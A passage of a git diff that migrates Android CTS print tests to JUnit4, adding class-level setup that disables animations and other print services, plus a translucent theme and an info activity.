diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
index bceaacc..405c89e 100644
--- a/tests/tests/print/Android.mk
+++ b/tests/tests/print/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsPrintTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target ctstestrunner ub-uiautomator ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/print/AndroidManifest.xml b/tests/tests/print/AndroidManifest.xml
index bd58d3b..c5148c8 100644
--- a/tests/tests/print/AndroidManifest.xml
+++ b/tests/tests/print/AndroidManifest.xml
@@ -62,9 +62,15 @@
         </activity>
 
         <activity
+                android:name="android.print.cts.services.InfoActivity"
+                android:exported="true">
+        </activity>
+
+        <activity
             android:name="android.print.cts.services.CustomPrintOptionsActivity"
             android:permission="android.permission.START_PRINT_SERVICE_CONFIG_ACTIVITY"
-            android:exported="true">
+            android:exported="true"
+            android:theme="@style/Theme.Translucent">
         </activity>
 
   </application>
diff --git a/tests/tests/print/AndroidTest.xml b/tests/tests/print/AndroidTest.xml
index 9e3e797..3a04247 100644
--- a/tests/tests/print/AndroidTest.xml
+++ b/tests/tests/print/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Print test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPrintTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/print/res/raw/yellow.png b/tests/tests/print/res/raw/yellow.png
new file mode 100644
index 0000000..3e2bbd3
--- /dev/null
+++ b/tests/tests/print/res/raw/yellow.png
Binary files differ
diff --git a/tests/tests/print/res/raw/yellow_printer.png b/tests/tests/print/res/raw/yellow_printer.png
deleted file mode 100644
index 2e1cc8d..0000000
--- a/tests/tests/print/res/raw/yellow_printer.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/print/res/values/themes.xml b/tests/tests/print/res/values/themes.xml
new file mode 100644
index 0000000..f5c9b977
--- /dev/null
+++ b/tests/tests/print/res/values/themes.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+    Copyright (C) 2016 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+
+<resources>
+    <style name="Theme.Translucent" parent="@android:style/Theme.DeviceDefault">
+        <item name="android:windowIsTranslucent">true</item>
+    </style>
+</resources>
diff --git a/tests/tests/print/src/android/print/cts/BasePrintTest.java b/tests/tests/print/src/android/print/cts/BasePrintTest.java
index b4d1c4c..ce2dc65 100644
--- a/tests/tests/print/src/android/print/cts/BasePrintTest.java
+++ b/tests/tests/print/src/android/print/cts/BasePrintTest.java
@@ -16,6 +16,12 @@
 
 package android.print.cts;
 
+import static android.print.cts.Utils.getPrintManager;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.Matchers.any;
 import static org.mockito.Matchers.eq;
 import static org.mockito.Mockito.doAnswer;
@@ -24,15 +30,14 @@
 import static org.mockito.Mockito.when;
 import static org.mockito.hamcrest.MockitoHamcrest.argThat;
 
-import android.content.Context;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Intent;
 import android.content.pm.PackageManager;
-import android.content.res.Configuration;
 import android.content.res.Resources;
-import android.cts.util.SystemUtil;
 import android.graphics.pdf.PdfDocument;
 import android.os.Bundle;
 import android.os.CancellationSignal;
-import android.os.LocaleList;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
 import android.print.PageRange;
@@ -40,26 +45,39 @@
 import android.print.PrintDocumentAdapter;
 import android.print.PrintDocumentAdapter.LayoutResultCallback;
 import android.print.PrintDocumentAdapter.WriteResultCallback;
+import android.print.PrintDocumentInfo;
 import android.print.PrintManager;
 import android.print.PrinterId;
 import android.print.cts.services.PrintServiceCallbacks;
 import android.print.cts.services.PrinterDiscoverySessionCallbacks;
+import android.print.cts.services.StubbablePrintService;
 import android.print.cts.services.StubbablePrinterDiscoverySession;
 import android.print.pdf.PrintedPdfDocument;
 import android.printservice.CustomPrinterIconCallback;
 import android.printservice.PrintJob;
-import android.printservice.PrintService;
+import android.printservice.PrintServiceInfo;
+import android.provider.Settings;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.support.test.uiautomator.UiSelector;
-import android.test.InstrumentationTestCase;
-import android.util.DisplayMetrics;
 import android.util.Log;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 import org.hamcrest.BaseMatcher;
 import org.hamcrest.Description;
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.TestRule;
+import org.junit.runners.model.Statement;
 import org.mockito.InOrder;
 import org.mockito.stubbing.Answer;
 
@@ -69,27 +87,40 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStreamReader;
+import java.lang.annotation.Annotation;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
 import java.util.ArrayList;
 import java.util.List;
-import java.util.Locale;
 import java.util.concurrent.TimeoutException;
 /**
  * This is the base class for print tests.
  */
-public abstract class BasePrintTest extends InstrumentationTestCase {
+public abstract class BasePrintTest {
     private final static String LOG_TAG = "BasePrintTest";
 
-    protected static final long OPERATION_TIMEOUT_MILLIS = 60000;
+    static final long OPERATION_TIMEOUT_MILLIS = 60000;
+    static final String PRINT_JOB_NAME = "Test";
+
     private static final String PRINT_SPOOLER_PACKAGE_NAME = "com.android.printspooler";
-    protected static final String PRINT_JOB_NAME = "Test";
     private static final String PM_CLEAR_SUCCESS_OUTPUT = "Success";
     private static final String COMMAND_LIST_ENABLED_IME_COMPONENTS = "ime list -s";
     private static final String COMMAND_PREFIX_ENABLE_IME = "ime enable ";
     private static final String COMMAND_PREFIX_DISABLE_IME = "ime disable ";
     private static final int CURRENT_USER_ID = -2; // Mirrors UserHandle.USER_CURRENT
+    private static final String PRINTSPOOLER_PACKAGE = "com.android.printspooler";
+
+    private static float sWindowAnimationScaleBefore;
+    private static float sTransitionAnimationScaleBefore;
+    private static float sAnimatiorDurationScaleBefore;
 
     private static PrintDocumentActivity sActivity;
-    private UiDevice mUiDevice;
+    private static Instrumentation sInstrumentation;
+    private static UiDevice sUiDevice;
+
+    public final @Rule ShouldStartActivity mShouldStartActivityRule = new ShouldStartActivity();
 
     /**
      * Return the UI device
@@ -97,14 +128,13 @@
      * @return the UI device
      */
     public UiDevice getUiDevice() {
-        return mUiDevice;
+        return sUiDevice;
     }
 
-    private LocaleList mOldLocale;
-
     private CallCounter mCancelOperationCounter;
     private CallCounter mLayoutCallCounter;
     private CallCounter mWriteCallCounter;
+    private CallCounter mWriteCancelCallCounter;
     private CallCounter mFinishCallCounter;
     private CallCounter mPrintJobQueuedCallCounter;
     private CallCounter mCreateSessionCallCounter;
@@ -112,12 +142,12 @@
     private static CallCounter sDestroyActivityCallCounter = new CallCounter();
     private static CallCounter sCreateActivityCallCounter = new CallCounter();
 
-    private String[] mEnabledImes;
+    private static String[] sEnabledImes;
 
-    private String[] getEnabledImes() throws IOException {
+    private static String[] getEnabledImes() throws IOException {
         List<String> imeList = new ArrayList<>();
 
-        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+        ParcelFileDescriptor pfd = sInstrumentation.getUiAutomation()
                 .executeShellCommand(COMMAND_LIST_ENABLED_IME_COMPONENTS);
         try (BufferedReader reader = new BufferedReader(
                 new InputStreamReader(new FileInputStream(pfd.getFileDescriptor())))) {
@@ -134,40 +164,32 @@
         return imeArray;
     }
 
-    private void disableImes() throws Exception {
-        mEnabledImes = getEnabledImes();
-        for (String ime : mEnabledImes) {
+    private static void disableImes() throws Exception {
+        sEnabledImes = getEnabledImes();
+        for (String ime : sEnabledImes) {
             String disableImeCommand = COMMAND_PREFIX_DISABLE_IME + ime;
-            SystemUtil.runShellCommand(getInstrumentation(), disableImeCommand);
+            SystemUtil.runShellCommand(sInstrumentation, disableImeCommand);
         }
     }
 
-    private void enableImes() throws Exception {
-        for (String ime : mEnabledImes) {
+    private static void enableImes() throws Exception {
+        for (String ime : sEnabledImes) {
             String enableImeCommand = COMMAND_PREFIX_ENABLE_IME + ime;
-            SystemUtil.runShellCommand(getInstrumentation(), enableImeCommand);
+            SystemUtil.runShellCommand(sInstrumentation, enableImeCommand);
         }
-        mEnabledImes = null;
+        sEnabledImes = null;
     }
 
-    @Override
-    protected void runTest() throws Throwable {
-        // Do nothing if the device does not support printing.
-        if (supportsPrinting()) {
-            super.runTest();
-        }
+    protected static Instrumentation getInstrumentation() {
+        return sInstrumentation;
     }
 
-    @Override
-    public void setUp() throws Exception {
-        Log.d(LOG_TAG, "setUp()");
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Log.d(LOG_TAG, "setUpClass()");
 
-        super.setUp();
-        if (!supportsPrinting()) {
-            return;
-        }
-
-        mUiDevice = UiDevice.getInstance(getInstrumentation());
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sUiDevice = UiDevice.getInstance(sInstrumentation);
 
         // Make sure we start with a clean slate.
         Log.d(LOG_TAG, "clearPrintSpoolerData()");
@@ -177,19 +199,70 @@
 
         // Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
         // Dexmaker is used by mockito.
-        System.setProperty("dexmaker.dexcache", getInstrumentation()
+        System.setProperty("dexmaker.dexcache", sInstrumentation
                 .getTargetContext().getCacheDir().getPath());
 
-        // Set to US locale.
-        Log.d(LOG_TAG, "set locale");
-        Resources resources = getInstrumentation().getTargetContext().getResources();
-        Configuration oldConfiguration = resources.getConfiguration();
-        if (!oldConfiguration.getLocales().get(0).equals(Locale.US)) {
-            mOldLocale = oldConfiguration.getLocales();
-            DisplayMetrics displayMetrics = resources.getDisplayMetrics();
-            Configuration newConfiguration = new Configuration(oldConfiguration);
-            newConfiguration.setLocale(Locale.US);
-            resources.updateConfiguration(newConfiguration, displayMetrics);
+        Log.d(LOG_TAG, "disable animations");
+        try {
+            sWindowAnimationScaleBefore = Float.parseFloat(SystemUtil.runShellCommand(
+                    sInstrumentation, "settings get global window_animation_scale"));
+
+            SystemUtil.runShellCommand(sInstrumentation,
+                    "settings put global window_animation_scale 0");
+        } catch (NumberFormatException e) {
+            Log.e(LOG_TAG, "Could not read window_animation_scale", e);
+            sWindowAnimationScaleBefore = Float.NaN;
+        }
+        try {
+            sTransitionAnimationScaleBefore = Float.parseFloat(SystemUtil.runShellCommand(
+                    sInstrumentation, "settings get global transition_animation_scale"));
+
+            SystemUtil.runShellCommand(sInstrumentation,
+                    "settings put global transition_animation_scale 0");
+        } catch (NumberFormatException e) {
+            Log.e(LOG_TAG, "Could not read transition_animation_scale", e);
+            sTransitionAnimationScaleBefore = Float.NaN;
+        }
+        try {
+            sAnimatiorDurationScaleBefore = Float.parseFloat(SystemUtil.runShellCommand(
+                    sInstrumentation, "settings get global animator_duration_scale"));
+
+            SystemUtil.runShellCommand(sInstrumentation,
+                    "settings put global animator_duration_scale 0");
+        } catch (NumberFormatException e) {
+            Log.e(LOG_TAG, "Could not read animator_duration_scale", e);
+            sAnimatiorDurationScaleBefore = Float.NaN;
+        }
+
+        Log.d(LOG_TAG, "setUpClass() done");
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        Log.d(LOG_TAG, "setUp()");
+
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+
+        assumeTrue(sInstrumentation.getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_PRINTING));
+
+        final PrintManager printManager = sInstrumentation.getContext()
+                .getSystemService(PrintManager.class);
+        final List<PrintServiceInfo> services = printManager.getPrintServices(
+                PrintManager.ALL_SERVICES);
+        final String targetPackageName = sInstrumentation.getTargetContext().getPackageName();
+        StringBuilder builder = new StringBuilder();
+        for (PrintServiceInfo service : services) {
+            final ComponentName serviceComponent = service.getComponentName();
+            if (targetPackageName.equals(serviceComponent.getPackageName())) {
+                continue;
+            }
+            if (builder.length() > 0) {
+                builder.append(":");
+            }
+            builder.append(serviceComponent.flattenToString());
+            SystemUtil.runShellCommand(sInstrumentation, "settings put secure "
+                    + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
         }
 
         // Initialize the latches.
@@ -198,78 +271,103 @@
         mLayoutCallCounter = new CallCounter();
         mFinishCallCounter = new CallCounter();
         mWriteCallCounter = new CallCounter();
+        mWriteCancelCallCounter = new CallCounter();
         mFinishCallCounter = new CallCounter();
         mPrintJobQueuedCallCounter = new CallCounter();
         mCreateSessionCallCounter = new CallCounter();
         mDestroySessionCallCounter = new CallCounter();
 
-        // Create the activity for the right locale.
-        Log.d(LOG_TAG, "createActivity()");
-        createActivity();
+        // Create the activity if needed
+        if (!mShouldStartActivityRule.noActivity) {
+            createActivity();
+        }
+
         Log.d(LOG_TAG, "setUp() done");
     }
 
-    @Override
+    @After
     public void tearDown() throws Exception {
         Log.d(LOG_TAG, "tearDown()");
 
-        if (!supportsPrinting()) {
-            return;
+        // Done with the activity.
+        if (getActivity() != null) {
+            Log.d(LOG_TAG, "finish activity");
+            if (!getActivity().isFinishing()) {
+                getActivity().finish();
+            }
+
+            sActivity = null;
         }
 
-        // Done with the activity.
-        Log.d(LOG_TAG, "finish activity");
-        if (!getActivity().isFinishing()) {
-            getActivity().finish();
-        }
+        Log.d(LOG_TAG, "tearDown() done");
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Log.d(LOG_TAG, "tearDownClass()");
 
         Log.d(LOG_TAG, "enableImes()");
         enableImes();
 
-        // Restore the locale if needed.
-        Log.d(LOG_TAG, "restore locale");
-        if (mOldLocale != null) {
-            Resources resources = getInstrumentation().getTargetContext().getResources();
-            DisplayMetrics displayMetrics = resources.getDisplayMetrics();
-            Configuration newConfiguration = new Configuration(resources.getConfiguration());
-            newConfiguration.setLocales(mOldLocale);
-            mOldLocale = null;
-            resources.updateConfiguration(newConfiguration, displayMetrics);
-        }
-
         // Make sure the spooler is cleaned, this also un-approves all services
         Log.d(LOG_TAG, "clearPrintSpoolerData()");
         clearPrintSpoolerData();
 
-        super.tearDown();
-        Log.d(LOG_TAG, "tearDown() done");
+        Log.d(LOG_TAG, "enable animations");
+        if (!Float.isNaN(sWindowAnimationScaleBefore)) {
+            SystemUtil.runShellCommand(sInstrumentation,
+                    "settings put global window_animation_scale " + sWindowAnimationScaleBefore);
+        }
+        if (!Float.isNaN(sTransitionAnimationScaleBefore)) {
+            SystemUtil.runShellCommand(sInstrumentation,
+                    "settings put global transition_animation_scale " +
+                            sTransitionAnimationScaleBefore);
+        }
+        if (!Float.isNaN(sAnimatiorDurationScaleBefore)) {
+            SystemUtil.runShellCommand(sInstrumentation,
+                    "settings put global animator_duration_scale " + sAnimatiorDurationScaleBefore);
+        }
+        SystemUtil.runShellCommand(sInstrumentation, "settings put secure "
+                    + Settings.Secure.DISABLED_PRINT_SERVICES + " null");
+
+        Log.d(LOG_TAG, "tearDownClass() done");
     }
 
     protected void print(final PrintDocumentAdapter adapter, final PrintAttributes attributes) {
-        // Initiate printing as if coming from the app.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                PrintManager printManager = (PrintManager) getActivity()
-                        .getSystemService(Context.PRINT_SERVICE);
-                printManager.print("Print job", adapter, attributes);
-            }
-        });
+        print(adapter, "Print job", attributes);
     }
 
     protected void print(PrintDocumentAdapter adapter) {
-        print(adapter, null);
+        print(adapter, (PrintAttributes) null);
     }
 
-    protected void onCancelOperationCalled() {
+    protected void print(PrintDocumentAdapter adapter, String printJobName) {
+        print(adapter, printJobName, null);
+    }
+
+    /**
+     * Start printing
+     *
+     * @param adapter      Adapter supplying data to print
+     * @param printJobName The name of the print job
+     */
+    protected void print(@NonNull PrintDocumentAdapter adapter, @NonNull String printJobName,
+            @Nullable PrintAttributes attributes) {
+        // Initiate printing as if coming from the app.
+        sInstrumentation
+                .runOnMainSync(() -> getPrintManager(getActivity()).print(printJobName, adapter,
+                        attributes));
+    }
+
+    void onCancelOperationCalled() {
         mCancelOperationCounter.call();
     }
 
-    protected void onLayoutCalled() {
+    void onLayoutCalled() {
         mLayoutCallCounter.call();
     }
 
-    protected int getWriteCallCount() {
+    int getWriteCallCount() {
         return mWriteCallCounter.getCallCount();
     }
 
@@ -277,15 +375,19 @@
         mWriteCallCounter.call();
     }
 
-    protected void onFinishCalled() {
+    protected void onWriteCancelCalled() {
+        mWriteCancelCallCounter.call();
+    }
+
+    void onFinishCalled() {
         mFinishCallCounter.call();
     }
 
-    protected void onPrintJobQueuedCalled() {
+    void onPrintJobQueuedCalled() {
         mPrintJobQueuedCallCounter.call();
     }
 
-    protected void onPrinterDiscoverySessionCreateCalled() {
+    void onPrinterDiscoverySessionCreateCalled() {
         mCreateSessionCallCounter.call();
     }
 
@@ -293,40 +395,45 @@
         mDestroySessionCallCounter.call();
     }
 
-    protected void waitForCancelOperationCallbackCalled() {
+    void waitForCancelOperationCallbackCalled() {
         waitForCallbackCallCount(mCancelOperationCounter, 1,
                 "Did not get expected call to onCancel for the current operation.");
     }
 
-    protected void waitForPrinterDiscoverySessionCreateCallbackCalled() {
+    void waitForPrinterDiscoverySessionCreateCallbackCalled() {
         waitForCallbackCallCount(mCreateSessionCallCounter, 1,
                 "Did not get expected call to onCreatePrinterDiscoverySession.");
     }
 
-    protected void waitForPrinterDiscoverySessionDestroyCallbackCalled(int count) {
+    void waitForPrinterDiscoverySessionDestroyCallbackCalled(int count) {
         waitForCallbackCallCount(mDestroySessionCallCounter, count,
                 "Did not get expected call to onDestroyPrinterDiscoverySession.");
     }
 
-    protected void waitForServiceOnPrintJobQueuedCallbackCalled(int count) {
+    void waitForServiceOnPrintJobQueuedCallbackCalled(int count) {
         waitForCallbackCallCount(mPrintJobQueuedCallCounter, count,
                 "Did not get expected call to onPrintJobQueued.");
     }
 
-    protected void waitForAdapterFinishCallbackCalled() {
+    void waitForAdapterFinishCallbackCalled() {
         waitForCallbackCallCount(mFinishCallCounter, 1,
                 "Did not get expected call to finish.");
     }
 
-    protected void waitForLayoutAdapterCallbackCount(int count) {
+    void waitForLayoutAdapterCallbackCount(int count) {
         waitForCallbackCallCount(mLayoutCallCounter, count,
                 "Did not get expected call to layout.");
     }
 
-    protected void waitForWriteAdapterCallback(int count) {
+    void waitForWriteAdapterCallback(int count) {
         waitForCallbackCallCount(mWriteCallCounter, count, "Did not get expected call to write.");
     }
 
+    void waitForWriteCancelCallback(int count) {
+        waitForCallbackCallCount(mWriteCancelCallCounter, count,
+                "Did not get expected cancel of write.");
+    }
+
     private static void waitForCallbackCallCount(CallCounter counter, int count, String message) {
         try {
             counter.waitForCount(count, OPERATION_TIMEOUT_MILLIS);
@@ -355,7 +462,7 @@
      *
      * @return The number of onDestroy calls on the print activity.
      */
-    protected static int getActivityDestroyCallbackCallCount() {
+    static int getActivityDestroyCallbackCallCount() {
         return sDestroyActivityCallCounter.getCallCount();
     }
 
@@ -364,7 +471,7 @@
      *
      * @return The number of onCreate calls on the print activity.
      */
-    protected static int getActivityCreateCallbackCallCount() {
+    private static int getActivityCreateCallbackCallCount() {
         return sCreateActivityCallCounter.getCallCount();
     }
 
@@ -381,10 +488,11 @@
     /**
      * Reset all counters.
      */
-    protected void resetCounters() {
+    void resetCounters() {
         mCancelOperationCounter.reset();
         mLayoutCallCounter.reset();
         mWriteCallCounter.reset();
+        mWriteCancelCallCounter.reset();
         mFinishCallCounter.reset();
         mPrintJobQueuedCallCounter.reset();
         mCreateSessionCallCounter.reset();
@@ -393,15 +501,16 @@
         sCreateActivityCallCounter.reset();
     }
 
-    protected void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
+    void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
         try {
-            long delay = 100;
+            long delay = 1;
             while (true) {
                 try {
-                    UiObject destinationSpinner = mUiDevice.findObject(new UiSelector().resourceId(
+                    UiObject destinationSpinner = sUiDevice.findObject(new UiSelector().resourceId(
                             "com.android.printspooler:id/destination_spinner"));
 
                     destinationSpinner.click();
+                    getUiDevice().waitForIdle();
 
                     // Give spinner some time to expand
                     try {
@@ -411,25 +520,31 @@
                     }
 
                     // try to select printer
-                    UiObject printerOption = mUiDevice
+                    UiObject printerOption = sUiDevice
                             .findObject(new UiSelector().text(printerName));
                     printerOption.click();
                 } catch (UiObjectNotFoundException e) {
                     Log.e(LOG_TAG, "Could not select printer " + printerName, e);
                 }
 
-                // Make sure printer is selected
-                if (getUiDevice().hasObject(By.text(printerName))) {
-                    break;
-                } else {
-                    if (delay <= OPERATION_TIMEOUT_MILLIS) {
-                        Log.w(LOG_TAG, "Cannot find printer " + printerName + ", retrying.");
-                        delay *= 2;
-                        continue;
+                getUiDevice().waitForIdle();
+
+                if (!printerName.equals("All printers…")) {
+                    // Make sure printer is selected
+                    if (getUiDevice().hasObject(By.text(printerName))) {
+                        break;
                     } else {
-                        throw new UiObjectNotFoundException("Could find printer " + printerName +
-                                " even though we retried");
+                        if (delay <= OPERATION_TIMEOUT_MILLIS) {
+                            Log.w(LOG_TAG, "Cannot find printer " + printerName + ", retrying.");
+                            delay *= 2;
+                        } else {
+                            throw new UiObjectNotFoundException(
+                                    "Could find printer " + printerName +
+                                            " even though we retried");
+                        }
                     }
+                } else {
+                    break;
                 }
             }
         } catch (UiObjectNotFoundException e) {
@@ -438,24 +553,22 @@
         }
     }
 
-    protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
-        UiDevice uiDevice = UiDevice.getInstance(getInstrumentation());
+    void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
         UiObject button;
         if (confirm) {
-            button = uiDevice.findObject(new UiSelector().resourceId("android:id/button1"));
+            button = sUiDevice.findObject(new UiSelector().resourceId("android:id/button1"));
         } else {
-            button = uiDevice.findObject(new UiSelector().resourceId("android:id/button2"));
+            button = sUiDevice.findObject(new UiSelector().resourceId("android:id/button2"));
         }
         button.click();
     }
 
-    protected void changeOrientation(String orientation)
-            throws UiObjectNotFoundException, IOException {
+    void changeOrientation(String orientation) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject orientationSpinner = mUiDevice.findObject(new UiSelector().resourceId(
+            UiObject orientationSpinner = sUiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/orientation_spinner"));
             orientationSpinner.click();
-            UiObject orientationOption = mUiDevice.findObject(new UiSelector().text(orientation));
+            UiObject orientationOption = sUiDevice.findObject(new UiSelector().text(orientation));
             orientationOption.click();
         } catch (UiObjectNotFoundException e) {
             dumpWindowHierarchy();
@@ -465,7 +578,7 @@
 
     protected String getOrientation() throws UiObjectNotFoundException, IOException {
         try {
-            UiObject orientationSpinner = mUiDevice.findObject(new UiSelector().resourceId(
+            UiObject orientationSpinner = sUiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/orientation_spinner"));
             return orientationSpinner.getText();
         } catch (UiObjectNotFoundException e) {
@@ -474,12 +587,12 @@
         }
     }
 
-    protected void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
+    void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject mediaSizeSpinner = mUiDevice.findObject(new UiSelector().resourceId(
+            UiObject mediaSizeSpinner = sUiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/paper_size_spinner"));
             mediaSizeSpinner.click();
-            UiObject mediaSizeOption = mUiDevice.findObject(new UiSelector().text(mediaSize));
+            UiObject mediaSizeOption = sUiDevice.findObject(new UiSelector().text(mediaSize));
             mediaSizeOption.click();
         } catch (UiObjectNotFoundException e) {
             dumpWindowHierarchy();
@@ -487,23 +600,12 @@
         }
     }
 
-    protected String getMediaSize() throws UiObjectNotFoundException, IOException {
+    void changeColor(String color) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject mediaSizeSpinner = mUiDevice.findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/paper_size_spinner"));
-            return mediaSizeSpinner.getText();
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    protected void changeColor(String color) throws UiObjectNotFoundException, IOException {
-        try {
-            UiObject colorSpinner = mUiDevice.findObject(new UiSelector().resourceId(
+            UiObject colorSpinner = sUiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/color_spinner"));
             colorSpinner.click();
-            UiObject colorOption = mUiDevice.findObject(new UiSelector().text(color));
+            UiObject colorOption = sUiDevice.findObject(new UiSelector().text(color));
             colorOption.click();
         } catch (UiObjectNotFoundException e) {
             dumpWindowHierarchy();
@@ -513,7 +615,7 @@
 
     protected String getColor() throws UiObjectNotFoundException, IOException {
         try {
-            UiObject colorSpinner = mUiDevice.findObject(new UiSelector().resourceId(
+            UiObject colorSpinner = sUiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/color_spinner"));
             return colorSpinner.getText();
         } catch (UiObjectNotFoundException e) {
@@ -522,12 +624,12 @@
         }
     }
 
-    protected void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
+    void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject duplexSpinner = mUiDevice.findObject(new UiSelector().resourceId(
+            UiObject duplexSpinner = sUiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/duplex_spinner"));
             duplexSpinner.click();
-            UiObject duplexOption = mUiDevice.findObject(new UiSelector().text(duplex));
+            UiObject duplexOption = sUiDevice.findObject(new UiSelector().text(duplex));
             duplexOption.click();
         } catch (UiObjectNotFoundException e) {
             dumpWindowHierarchy();
@@ -535,11 +637,11 @@
         }
     }
 
-    protected String getDuplex() throws UiObjectNotFoundException, IOException {
+    void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject duplexSpinner = mUiDevice.findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/duplex_spinner"));
-            return duplexSpinner.getText();
+            UiObject copies = sUiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/copies_edittext"));
+            copies.setText(Integer.valueOf(newCopies).toString());
         } catch (UiObjectNotFoundException e) {
             dumpWindowHierarchy();
             throw e;
@@ -548,7 +650,7 @@
 
     protected String getCopies() throws UiObjectNotFoundException, IOException {
         try {
-            UiObject copies = mUiDevice.findObject(new UiSelector().resourceId(
+            UiObject copies = sUiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/copies_edittext"));
             return copies.getText();
         } catch (UiObjectNotFoundException e) {
@@ -557,9 +659,13 @@
         }
     }
 
-    protected void clickPrintButton() throws UiObjectNotFoundException, IOException {
+    void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
+        assertFalse(sUiDevice.hasObject(By.res("com.android.printspooler:id/print_button")));
+    }
+
+    void clickPrintButton() throws UiObjectNotFoundException, IOException {
         try {
-            UiObject printButton = mUiDevice.findObject(new UiSelector().resourceId(
+            UiObject printButton = sUiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/print_button"));
             printButton.click();
         } catch (UiObjectNotFoundException e) {
@@ -568,9 +674,20 @@
         }
     }
 
-    protected void dumpWindowHierarchy() throws IOException {
+    void clickRetryButton() throws UiObjectNotFoundException, IOException {
+        try {
+            UiObject retryButton = sUiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/action_button"));
+            retryButton.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    void dumpWindowHierarchy() throws IOException {
         ByteArrayOutputStream os = new ByteArrayOutputStream();
-        mUiDevice.dumpWindowHierarchy(os);
+        sUiDevice.dumpWindowHierarchy(os);
 
         Log.w(LOG_TAG, "Window hierarchy:");
         for (String line : os.toString("UTF-8").split("\n")) {
@@ -583,34 +700,39 @@
     }
 
     protected void createActivity() {
+        Log.d(LOG_TAG, "createActivity()");
+
         int createBefore = getActivityCreateCallbackCallCount();
 
-        launchActivity(getInstrumentation().getTargetContext().getPackageName(),
-                PrintDocumentActivity.class, null);
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(sInstrumentation.getTargetContext().getPackageName(),
+                PrintDocumentActivity.class.getName());
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        sInstrumentation.startActivitySync(intent);
 
         waitForActivityCreateCallbackCalled(createBefore + 1);
     }
 
-    protected void openPrintOptions() throws UiObjectNotFoundException {
-        UiObject expandHandle = mUiDevice.findObject(new UiSelector().resourceId(
+    void openPrintOptions() throws UiObjectNotFoundException {
+        UiObject expandHandle = sUiDevice.findObject(new UiSelector().resourceId(
